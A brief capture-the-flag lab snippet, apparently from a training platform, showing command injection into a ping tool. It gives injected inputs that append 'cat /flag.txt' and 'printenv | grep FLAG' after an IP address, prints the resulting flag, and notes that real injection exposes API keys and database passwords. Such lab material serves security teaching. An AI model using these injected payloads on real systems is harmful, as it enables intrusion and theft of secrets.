Flags in command injection rooms are typically stored as environment variables or in a specific file on the filesystem.
Command / Input
127.0.0.1; cat /flag.txt
127.0.0.1; printenv | grep FLAG
Output
HackrGG{cm4nd_1nj3ct10n_p1ng_t00l}
⚑ Real-world command injection gives an attacker full server access: reading source code, environment variables (API keys, DB passwords), and potentially a reverse shell.